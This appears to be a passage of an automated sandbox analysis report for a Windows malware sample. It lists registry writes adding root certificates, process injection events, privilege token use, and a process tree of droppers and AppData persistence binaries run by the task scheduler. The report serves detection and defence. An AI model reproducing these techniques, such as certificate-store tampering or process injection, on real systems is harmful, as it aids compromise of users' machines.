\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Fri051e1e7444.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 533 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 546 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1336 Fri051e1e7444.exe 1336 Fri051e1e7444.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe 3816 gckOBeKwEc_9Tb1WLDr_o55o.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2540 Process not Found -
Suspicious behavior: MapViewOfSection 13 IoCs
pid Process 700 CObebYmiTdY_PuwpkFiVDpKe.exe 2164 8A71.exe 2628 HpQtObz62dT6szj1j12odrbQ.exe 5812 F190.exe 4388 uiusvrr 8148 bfusvrr 8908 bwusvrr 8176 MicrosoftEdgeCP.exe 8176 MicrosoftEdgeCP.exe 8176 MicrosoftEdgeCP.exe 8176 MicrosoftEdgeCP.exe 8176 MicrosoftEdgeCP.exe 8176 MicrosoftEdgeCP.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeCreateTokenPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeAssignPrimaryTokenPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeLockMemoryPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeIncreaseQuotaPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeMachineAccountPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeTcbPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeSecurityPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeTakeOwnershipPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeLoadDriverPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeSystemProfilePrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeSystemtimePrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeProfSingleProcessPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeIncBasePriorityPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeCreatePagefilePrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeCreatePermanentPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeBackupPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeRestorePrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeShutdownPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeDebugPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeAuditPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeSystemEnvironmentPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeChangeNotifyPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeRemoteShutdownPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeUndockPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeSyncAgentPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeEnableDelegationPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeManageVolumePrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeImpersonatePrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeCreateGlobalPrivilege 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: 31 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: 32 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: 33 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: 34 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: 35 2332 6RfiwzZkIPJvopWxqd4ouGmM.exe Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeRestorePrivilege 2288 WerFault.exe Token: SeBackupPrivilege 2288 WerFault.exe Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeDebugPrivilege 2288 WerFault.exe Token: SeShutdownPrivilege 2540 Process not Found Token: SeCreatePagefilePrivilege 2540 Process not Found Token: SeShutdownPrivilege 2540 Process not Found -
Suspicious use of FindShellTrayWindow 8 IoCs
pid Process 2540 Process not Found 2540 Process not Found 6148 installer.exe 2540 Process not Found 2540 Process not Found 5552 Calculator.exe 2540 Process not Found 2540 Process not Found -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 2540 Process not Found 5488 MicrosoftEdge.exe 7160 cmd.exe 8584 msiexec.exe 8344 MicrosoftEdgeCP.exe 8176 MicrosoftEdgeCP.exe 8176 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1336 wrote to memory of 3816 1336 Fri051e1e7444.exe 77 PID 1336 wrote to memory of 3816 1336 Fri051e1e7444.exe 77 PID 1336 wrote to memory of 2760 1336 Fri051e1e7444.exe 82 PID 1336 wrote to memory of 2760 1336 Fri051e1e7444.exe 82 PID 1336 wrote to memory of 2760 1336 Fri051e1e7444.exe 82 PID 1336 wrote to memory of 1316 1336 Fri051e1e7444.exe 81 PID 1336 wrote to memory of 1316 1336 Fri051e1e7444.exe 81 PID 1336 wrote to memory of 1316 1336 Fri051e1e7444.exe 81 PID 1336 wrote to memory of 2332 1336 Fri051e1e7444.exe 78 PID 1336 wrote to memory of 2332 1336 Fri051e1e7444.exe 78 PID 1336 wrote to memory of 2332 1336 Fri051e1e7444.exe 78 PID 1336 wrote to memory of 1268 1336 Fri051e1e7444.exe 80 PID 1336 wrote to memory of 1268 1336 Fri051e1e7444.exe 80 PID 1336 wrote to memory of 1268 1336 Fri051e1e7444.exe 80 PID 1336 wrote to memory of 2388 1336 Fri051e1e7444.exe 79 PID 1336 wrote to memory of 2388 1336 Fri051e1e7444.exe 79 PID 1336 wrote to memory of 2280 1336 Fri051e1e7444.exe 85 PID 1336 wrote to memory of 2280 1336 Fri051e1e7444.exe 85 PID 1336 wrote to memory of 2280 1336 Fri051e1e7444.exe 85 PID 1336 wrote to memory of 3260 1336 Fri051e1e7444.exe 84 PID 1336 wrote to memory of 3260 1336 Fri051e1e7444.exe 84 PID 1336 wrote to memory of 3260 1336 Fri051e1e7444.exe 84 PID 1336 wrote to memory of 2080 1336 Fri051e1e7444.exe 83 PID 1336 wrote to memory of 2080 1336 Fri051e1e7444.exe 83 PID 1336 wrote to memory of 2080 1336 Fri051e1e7444.exe 83 PID 1336 wrote to memory of 2328 1336 Fri051e1e7444.exe 89 PID 1336 wrote to memory of 2328 1336 Fri051e1e7444.exe 89 PID 1336 wrote to memory of 3044 1336 Fri051e1e7444.exe 88 PID 1336 wrote to memory of 3044 1336 Fri051e1e7444.exe 88 PID 1336 wrote to memory of 3044 1336 Fri051e1e7444.exe 88 PID 1336 wrote to memory of 1844 1336 Fri051e1e7444.exe 87 PID 1336 wrote to memory of 1844 1336 Fri051e1e7444.exe 87 PID 1336 wrote to memory of 3804 1336 Fri051e1e7444.exe 86 PID 1336 wrote to memory of 3804 1336 Fri051e1e7444.exe 86 PID 1336 wrote to memory of 3804 1336 Fri051e1e7444.exe 86 PID 1336 wrote to memory of 404 1336 Fri051e1e7444.exe 95 PID 1336 wrote to memory of 404 1336 Fri051e1e7444.exe 95 PID 1336 wrote to memory of 404 1336 Fri051e1e7444.exe 95 PID 1336 wrote to memory of 2360 1336 Fri051e1e7444.exe 94 PID 1336 wrote to memory of 2360 1336 Fri051e1e7444.exe 94 PID 1336 wrote to memory of 2360 1336 Fri051e1e7444.exe 94 PID 1336 wrote to memory of 2096 1336 Fri051e1e7444.exe 92 PID 1336 wrote to memory of 2096 1336 Fri051e1e7444.exe 92 PID 1336 wrote to memory of 2096 1336 Fri051e1e7444.exe 92 PID 1336 wrote to memory of 3584 1336 Fri051e1e7444.exe 91 PID 1336 wrote to memory of 3584 1336 Fri051e1e7444.exe 91 PID 1336 wrote to memory of 432 1336 Fri051e1e7444.exe 98 PID 1336 wrote to memory of 432 1336 Fri051e1e7444.exe 98 PID 1336 wrote to memory of 432 1336 Fri051e1e7444.exe 98 PID 1336 wrote to memory of 1008 1336 Fri051e1e7444.exe 97 PID 1336 wrote to memory of 1008 1336 Fri051e1e7444.exe 97 PID 1336 wrote to memory of 1008 1336 Fri051e1e7444.exe 97 PID 2096 wrote to memory of 700 2096 CObebYmiTdY_PuwpkFiVDpKe.exe 99 PID 2096 wrote to memory of 700 2096 CObebYmiTdY_PuwpkFiVDpKe.exe 99 PID 2096 wrote to memory of 700 2096 CObebYmiTdY_PuwpkFiVDpKe.exe 99 PID 1336 wrote to memory of 2140 1336 Fri051e1e7444.exe 102 PID 1336 wrote to memory of 2140 1336 Fri051e1e7444.exe 102 PID 1336 wrote to memory of 2140 1336 Fri051e1e7444.exe 102 PID 2328 wrote to memory of 1700 2328 Uv2OLZQGQUISQFphMrVjFyks.exe 100 PID 2328 wrote to memory of 1700 2328 Uv2OLZQGQUISQFphMrVjFyks.exe 100 PID 2096 wrote to memory of 700 2096 CObebYmiTdY_PuwpkFiVDpKe.exe 99 PID 2096 wrote to memory of 700 2096 CObebYmiTdY_PuwpkFiVDpKe.exe 99 PID 2096 wrote to memory of 700 2096 CObebYmiTdY_PuwpkFiVDpKe.exe 99 PID 2360 wrote to memory of 4020 2360 uIhpaXRSRc02XMvQzI27rw3i.exe 105
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
PID:2248 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:5856
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2676
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2652
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2580
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2408
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2376
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1768
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1372
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1340
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1192
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1108
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:1044 -
C:\Users\Admin\AppData\Roaming\bfusvrrC:\Users\Admin\AppData\Roaming\bfusvrr2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:8148
-
-
C:\Users\Admin\AppData\Roaming\bwusvrrC:\Users\Admin\AppData\Roaming\bwusvrr2⤵PID:8176
-
C:\Users\Admin\AppData\Roaming\bwusvrrC:\Users\Admin\AppData\Roaming\bwusvrr3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:8908
-
-
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:7908
-
-
C:\Users\Admin\AppData\Roaming\uiusvrrC:\Users\Admin\AppData\Roaming\uiusvrr2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4388
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
PID:5872 -
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵PID:6012
-
